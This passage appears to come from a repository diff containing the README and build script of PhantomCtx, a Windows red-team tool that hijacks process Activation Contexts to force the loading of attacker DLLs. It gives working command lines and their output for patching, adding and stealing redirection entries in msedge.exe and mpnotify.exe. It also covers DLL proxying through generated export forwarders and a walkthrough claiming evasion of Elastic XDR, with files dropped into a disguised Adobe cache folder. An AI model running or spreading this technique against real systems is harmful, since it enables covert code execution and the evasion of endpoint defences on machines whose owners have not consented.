+--[ DLL REDIRECTION ] 3 entries
|
||||
| [00] user32.dll
|
||||
| PseudoKey : 0x0DB00860
|
||||
| RosterIdx : 1
|
||||
| Flags : PATH_INCLUDES_BASE_NAME
|
||||
| Segments : 1 PathLen=40 bytes
|
||||
| Path : C:\hijack\hijack.dll
|
||||
|
||||
<SNIP>
|
||||
[SUCCESS] Activation Context hijacked in running process 'cmd.exe'.
|
||||
```
|
||||
|
||||
The `add-entry` and `patch-entry` submodules are used when **the running process already has a valid Activation Context with a DLL redirection section** and:
|
||||
|
||||
1. It already contains a redirection entry for a DLL; in this case, `patch-entry` is the appropriate option.
|
||||
2. A custom redirection needs to be added for a library that is expected to be loaded during execution; in this case, `add-entry` is used.
|
||||
|
||||
Although `steal-context` can still be used in these scenarios, it is generally unnecessary, as a valid Activation Context is already available for modification.
|
||||
|
||||
A `patch-entry` example can be observed after enumerating the process `msedge.exe` with `PhantomCtx`, where an existing custom redirection entry for `msedge_elf.dll` is identified:
|
||||
|
||||
```c
|
||||
C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s runtime -p msedge.exe
|
||||
|
||||
<SNIP>
|
||||
|
|
||||
| [01] msedge_elf.dll
|
||||
| PseudoKey : 0x81A505F9
|
||||
| RosterIdx : 3
|
||||
| Flags : OMITS_ASSEMBLY_ROOT
|
||||
| Segments : 0 PathLen=0 bytes
|
||||
| Path : <reconstructed from roster>
|
||||
|
|
||||
<SNIP>
|
||||
|
||||
C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -s patch-entry -p msedge.exe -d msedge_elf.dll --dll-path C:\hijack\hijack.dll
|
||||
|
||||
<SNIP>
|
||||
|
||||
[INFO] Patched ActivationContextData:
|
||||
|
||||
<SNIP>
|
||||
|
|
||||
| [01] msedge_elf.dll
|
||||
| PseudoKey : 0x81A505F9
|
||||
| RosterIdx : 3
|
||||
| Flags : PATH_INCLUDES_BASE_NAME
|
||||
| Segments : 1 PathLen=40 bytes
|
||||
| Path : C:\hijack\hijack.dll
|
||||
|
|
||||
<SNIP>
|
||||
[SUCCESS] Activation Context hijacked in running process 'msedge.exe'.
|
||||
```
|
||||
|
||||
Alternatively, by enumerating the runtime events of the target process, DLLs loaded during execution that are suitable for hijacking can be identified using tools such as `Procmon`. In such cases, it can be added to the redirection table to force resolution.
|
||||
|
||||
```c
|
||||
.\PhantomCtx.exe -m runtime -s add-entry -p msedge.exe -d target.dll --dll-path C:\hijack\hijack.dll
|
||||
|
||||
<SNIP>
|
||||
|
||||
[INFO] Patched ActivationContextData:
|
||||
|
||||
<SNIP>
|
||||
|
|
||||
+--[ DLL REDIRECTION ] 4 entries
|
||||
| [00] target.dll
|
||||
| PseudoKey : 0x2D1B25C7
|
||||
| RosterIdx : 1
|
||||
| Flags : PATH_INCLUDES_BASE_NAME
|
||||
| Segments : 1 PathLen=40 bytes
|
||||
| Path : C:\hijack\hijack.dll
|
||||
|
|
||||
<SNIP>
|
||||
[SUCCESS] Activation Context hijacked in running process 'msedge.exe'.
|
||||
```
|
||||
|
||||
# Example: Activation Context Hijacking + DLL Proxying 'mpnotify.exe'
|
||||
|
||||
Let's look at a practical use case in which `PhantomCtx` remains undetectable on a fully updated Windows 11 machine running the **Elastic Cloud XDR** agent with ALL rules enabled and set to **Prevent** mode to make it as aggressive as possible.
|
||||
|
||||

|
||||
|
||||
>Note that we will be targeting Windows 11 binaries; therefore, if our attacker machine is running Windows 10, we need to transfer the analyzed executables and DLLs to our machine.
|
||||
|
||||
The first step is to identify a Windows executable that imports relevant DLLs.
|
||||
|
||||
In this case, we'll use `PE-Bear` to inspect the Import Address Table (IAT) of the signed executable `C:\Windows\System32\mpnotify.exe`, where `ADVAPI32.dll` can be identified as one of its imports:
|
||||
|
||||

|
||||
|
||||
To prevent the application from crashing or exhibiting unexpected behavior when loading our payload, DLL proxying must be performed so that our payload forwards calls to the original DLL.
|
||||
|
||||
[DLL Export Viewer](https://www.nirsoft.net/utils/dll_export_viewer.html) will be used to extract all exported functions from `ADVAPI32.dll` and generate the forwarding directives that will be specified in the source code of our proxy DLL.
|
||||
|
||||
Once `C:\Windows\System32\advapi32.dll` is opened in DLL Export Viewer, navigate to `View > HTML Report - All Functions`.
|
||||
|
||||

|
||||
|
||||
It is necessary to keep the browser window open so that the generated `report.html` file remains available. The file path is then copied and processed using the following Python script developed by [itm4n](https://itm4n.github.io/dll-proxying/):
|
||||
|
||||
```python
|
||||
"""
|
||||
The report generated by DLL Exported Viewer is not properly formatted so it can't be analyzed using a parser unfortunately.
|
||||
"""
|
||||
from __future__ import print_function
|
||||
import argparse
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="DLL Export Viewer - Report Parser")
|
||||
parser.add_argument("report", help="the HTML report generated by DLL Export Viewer")
|
||||
args = parser.parse_args()
|
||||
report = args.report
|
||||
|
||||
try:
|
||||
f = open(report)
|
||||
page = f.readlines()
|
||||
f.close()
|
||||
except:
|
||||
print("[-] ERROR: open('%s')" % report)
|
||||
return
|
||||
|
||||
for line in page:
|
||||
if line.startswith("<tr>"):
|
||||
cols = line.replace("<tr>", "").split("<td bgcolor=#FFFFFF nowrap>")
|
||||
function_name = cols[1]
|
||||
ordinal = cols[4].split(' ')[0]
|
||||
dll_orig = "%s_orig" % cols[5][:cols[5].rfind('.')]
|
||||
print("#pragma comment(linker,\"/export:%s=%s.%s,@%s\")" % (function_name, dll_orig, function_name, ordinal))
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
```
|
||||
|
||||
```c
|
||||
C:\Users\rexmax\Documents\DLL Proxying>.\exports.py dllexp\report.html
|
||||
#pragma comment(linker,"/export:A_SHAFinal=advapi32_orig.A_SHAFinal,@1002")
|
||||
#pragma comment(linker,"/export:A_SHAInit=advapi32_orig.A_SHAInit,@1003")
|
||||
#pragma comment(linker,"/export:A_SHAUpdate=advapi32_orig.A_SHAUpdate,@1004")
|
||||
<SNIP>
|
||||
```
|
||||
|
||||
All exports from the output are copied into the source code of `payload.c`, after which the DLL is compiled and placed alongside `PhantomCtx` on the attacker machine, along with a copy of the original library renamed `advapi32_orig.dll`.
|
||||
|
||||
The required files must be organized as follows:
|
||||
|
||||
```c
|
||||
C:\Users\rexmax\Documents\WindowsInternals\PhantomCtx\x64>dir
|
||||
|
||||
06/13/2026 08:53 PM 158,208 advapi32.dll
|
||||
06/10/2026 01:52 AM 753,544 advapi32_orig.dll
|
||||
06/13/2026 08:28 PM 198,144 PhantomCtx.exe
|
||||
```
|
||||
|
||||
The files are then transferred to a directory on the Windows 11 target machine. In this case, they are dropped into:
|
||||
|
||||
```
|
||||
C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache
|
||||
```
|
||||
|
||||
Afterwards, Activation Context Hijacking is performed against the `mpnotify.exe` binary using `PhantomCtx`:
|
||||
|
||||
```c
|
||||
C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache>.\PhantomCtx.exe -m spawn -s steal-context -p "C:\Windows\System32\mpnotify.exe" --steal-from explorer.exe -d advapi32.dll --dll-path "C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll"
|
||||
[SUCCESS] Found 'explorer.exe' PID 6380
|
||||
[SUCCESS] Opened handle to PID 6380
|
||||
[SUCCESS] Activation Context Data Blob copied to local heap buffer @000002B135B26AA0 (8276 bytes)
|
||||
[INFO] Activation Context blob from 'explorer.exe'. TotalSize=0x2054
|
||||
[INFO] Patching blob: dllName='advapi32.dll' redirectPath='C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll'
|
||||
[+] 'advapi32.dll' not found -> adding new entry.
|
||||
[ADD] DLL key : advapi32.dll
|
||||
[ADD] Redirect path : C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll
|
||||
[ADD] PseudoKey : 0xF60E87FC
|
||||
[ADD] RosterIndex : 1
|
||||
[ADD] ElementCount : 3
|
||||
[ADD] TotalSize : 0x2054 -> 0x2166
|
||||
[SUCCESS] Blob patched. New TotalSize = 0x2166
|
||||
|
||||
[INFO] Patched ActivationContextData:
|
||||
|
||||
+-[ ACTIVATION CONTEXT DATA ]
|
||||
| Magic : 0x78746341 (Actx)
|
||||
| HeaderSize : 0x20 (32 bytes)
|
||||
| FormatVersion : 1
|
||||
| TotalSize : 0x2166 (8550 bytes)
|
||||
| Flags : 0x00000000
|
||||
|
|
||||
+--[ TOC ] 9 entries
|
||||
| [00] Id=1 Format=1 Offset=0x0134 Length=0x09CC
|
||||
| [01] Id=2 Format=1 Offset=0x0B00 Length=0x1666 <-- DLL Redirection
|
||||
| [02] Id=3 Format=1 Offset=0x0BC4 Length=0x12C8
|
||||
| [03] Id=4 Format=2 Offset=0x1E8C Length=0x0028
|
||||
| [04] Id=5 Format=2 Offset=0x1EB4 Length=0x0028
|
||||
| [05] Id=6 Format=2 Offset=0x1EDC Length=0x0028
|
||||
| [06] Id=9 Format=2 Offset=0x1F04 Length=0x0028
|
||||
| [07] Id=10 Format=1 Offset=0x1F2C Length=0x0120
|
||||
| [08] Id=11 Format=1 Offset=0x204C Length=0x0008
|
||||
|
|
||||
+--[ DLL REDIRECTION ] 3 entries
|
||||
| [00] comctl32.dll.mui
|
||||
| PseudoKey : 0xBBF34EA2
|
||||
| RosterIdx : 3
|
||||
| Flags : OMITS_ASSEMBLY_ROOT
|
||||
| Segments : 0 PathLen=0 bytes
|
||||
| Path : <reconstructed from roster>
|
||||
|
|
||||
| [01] comctl32.dll
|
||||
| PseudoKey : 0xF1C4BC4F
|
||||
| RosterIdx : 2
|
||||
| Flags : OMITS_ASSEMBLY_ROOT
|
||||
| Segments : 0 PathLen=0 bytes
|
||||
| Path : <reconstructed from roster>
|
||||
|
|
||||
| [02] advapi32.dll
|
||||
| PseudoKey : 0xF60E87FC
|
||||
| RosterIdx : 1
|
||||
| Flags : PATH_INCLUDES_BASE_NAME
|
||||
| Segments : 1 PathLen=150 bytes
|
||||
| Path : C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll
|
||||
|
|
||||
+--[ END ]
|
||||
|
||||
[SUCCESS] Suspended process created...
|
||||
[INFO] Original PEB.ActivationContextData = 0000021D10BA0000
|
||||
[SUCCESS] Patched blob written to section (8550 bytes)
|
||||
[SUCCESS] Original Activation Context region unmapped @ 0000021D10BA0000
|
||||
[SUCCESS] Patched Activation Context mapped at 0000021D10BA0000 (same address)
|
||||
[SUCCESS] Target process resumed.
|
||||
```
|
||||
|
||||
In this case, the payload DLL executes `calc.exe`. No alerts were generated.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
# How to Compile
|
||||
|
||||
To compile the tool, it is recommended to use Visual Studio or a compatible compiler.
|
||||
|
||||
If using VS, open the `x64 Native Tools Command Prompt for VS`, navigate to the project root directory and compile it with `compile.bat`:
|
||||
|
||||
```
|
||||
C:\PhantomCtx>.\compile.bat
|
||||
[*] Created output directory: x64
|
||||
[*] Compiling PhantomCtx...
|
||||
main.c
|
||||
utils.c
|
||||
recon.c
|
||||
actctx.c
|
||||
c_runtime.c
|
||||
dynamic_resolution.c
|
||||
process_utils.c
|
||||
spawn.c
|
||||
runtime.c
|
||||
Generating Code...
|
||||
[+] Build successful: x64\PhantomCtx.exe
|
||||
```
|
||||
|
||||
# Disclaimer
|
||||
|
||||
This tool was developed for **personal educational purposes** and is intended exclusively
|
||||
for security professionals and red team operators working in **authorized environments**.
|
||||
|
||||
The use of PhantomCtx against systems without explicit permission is **illegal** and
|
||||
strictly prohibited. The author takes no responsibility for any misuse or damage caused
|
||||
by this tool.
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
@echo off
|
||||
setlocal
|
||||
|
||||
:: ============================================================
|
||||
:: PhantomCtx - Build Script
|
||||
:: Requires: MSVC (cl.exe) via Developer Command Prompt
|
||||
:: ============================================================
|
||||
|
||||
set OUT_DIR=x64
|
||||
set OUT_BIN=%OUT_DIR%\PhantomCtx.exe
|
||||
set OUT_OBJ=%OUT_DIR%\
|
||||
|
||||
:: ------------------------------------------------------------
|
||||
|
||||
if not exist %OUT_DIR% (
|
||||
mkdir %OUT_DIR%
|
||||
echo [*] Created output directory: %OUT_DIR%
|
||||
)
|
||||
|
||||
echo [INFO] Compiling PhantomCtx...
|
||||
|
||||
cl /nologo ^
|
||||
.\PhantomCtx\*.c ^
|
||||
.\PhantomCtx\utils\*.c ^
|
||||
.\PhantomCtx\recon\*.c ^
|
||||
.\PhantomCtx\common\*.c ^
|
||||
.\PhantomCtx\spawn\*.c ^
|
||||
.\PhantomCtx\runtime\*.c ^
|
||||
/Fe%OUT_BIN% /Fo%OUT_OBJ%
|
||||
|
||||
if %ERRORLEVEL% NEQ 0 (
|
||||
echo [!] Compilation failed.
|
||||
del /Q %OUT_DIR%\*.obj 2>nul
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
del /Q %OUT_DIR%\*.obj 2>nul
|
||||
echo [SUCCESSFUL] Build successful: %OUT_BIN%
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 27 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 28 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 26 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 146 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 100 KiB |
Reference in New Issue
Block a user